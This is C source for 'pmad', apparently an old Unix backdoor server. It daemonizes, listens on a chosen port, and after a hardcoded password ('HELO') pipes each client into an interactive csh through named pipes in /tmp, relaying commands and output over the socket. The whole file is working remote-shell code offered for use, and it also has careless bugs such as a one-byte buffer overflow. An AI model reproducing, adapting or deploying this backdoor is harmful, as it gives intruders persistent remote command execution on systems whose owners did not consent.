/* pmad.c
 *
 * This is the server of pma.
 * It basically reads from an established socket, 
 * writes what it gets to a shell in the background,
 * reads the output from the shell, and then sends it
 * back to the client via the socket.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <signal.h>

int in, cnt, pipin, sockfd, newsockfd, passok = 0;
char buf[5000], passwd[50], iname[20], oname[20];
FILE *log;

main(int argc, char *argv[]) {
	
	int port, cpid;

	/* Daemonize - System V style */

	if ((cpid = fork()) < 0)
		exit(system("echo start up fork error >> pma.org"));
	else if (cpid > 0)
		exit(0);
	setpgrp();

	chdir("/tmp"); /* temp work space */
	signal(SIGCHLD, SIG_IGN); /* Don't create zombies */

	if (argc != 2)
		exit(printf("Specify port\n"));
		port = atoi(argv[1]);
		sockfd = socket_declare(port);

		if (sockfd == -1) /* Say we are here at user given port */
			exit(system("echo socket_declare failed >> pma.org"));
		strcpy(passwd, "HELO\n"); /* Simple password */

		while (1) {
			newsockfd = socket_accept(sockfd);
			/* Wait for connection */
			if (newsockfd == -1)
				exit(system("echo socket_accept failed >> pma.org"));

				if ((cpid = fork()) < 0) /* Got one, fork off child */
					exit(system("echo fork error >> pma.org"));
				else if (cpid > 0) {
					close(newsockfd);
					continue; /* Wait for next user */
				}
				do_child();
			}
}

int do_child() {
	/* We now have an established socket.
	 * Read from it and write to the shell */

	int opid;

	close(sockfd);
	opid = do_csh();
	system("date >> pma.org");

	while (1) {
		cnt = read(newsockfd, buf, sizeof(buf));

		if (cnt <= 0)
			exit(kill(opid, 9));
		buf[cnt] = '\0';
		/* logit(buf) */
		seewhat();
		cnt = write(pipin, buf, strlen(buf));
	}
}

int do_csh() {
	/* First create some pipes.
	 * Next fire up csh in prompt mode (-i)
	 * doing its IO from the pipes.
	 * The fork off another child that sets
	 * the prompt to "PMA> " and then
	 * endlessly reads from the shell and 
	 * writes to the socket.
	 */

	 char sbuf[100];
	 int pid;

	 pid = getpid();

	 sprintf(iname, "inpipe%d", pid);
	 sprintf(oname, "outpipe%d", pid);
	 sprintf(sbuf, "/etc/mknod %s p; /etc/mknod %s p", iname, oname);
	 system(sbuf);

	 pipin = open(iname, O_RDWR, 0);

	 sprintf(sbuf, "csh -i <%s >%s 2>&1 &", iname, oname);
	 system(sbuf);

	 in = open(oname, O_RDONLY, 0);

	 if ((pid = fork()) < 0)
		 exit(system("echo fork error in do_csh >> pma.org"));
	 else if (pid > 0)
		 return(pid);
	 read(in, buf, sizeof(buf));
	 strcpy(buf, "set prompt='PMA> '\n");
	 write(pipin, buf, strlen(buf));
	 read(in, buf, sizeof(buf));

	 while (1)
		 getoutput();
}

int getoutput() {
	cnt = read(in, buf, sizeof(buf));
	write(newsockfd, buf, cnt);
}

int seewhat() {
	/* Don't let 'em do anything until they type in the dumb password */

	if (passok)
		return;

	if (!strcmp(buf, passwd))
		passok = (int) strcpy(buf, "echo ok\n");
	else
		strcpy(buf, "echo nope\n");
}

int logit(char *msg) {
	/* Sonetimes useful when debugging */

	log = fopen("pma.org", "a");
	fprintf(log, "%s", msg);
	fclose(log);
}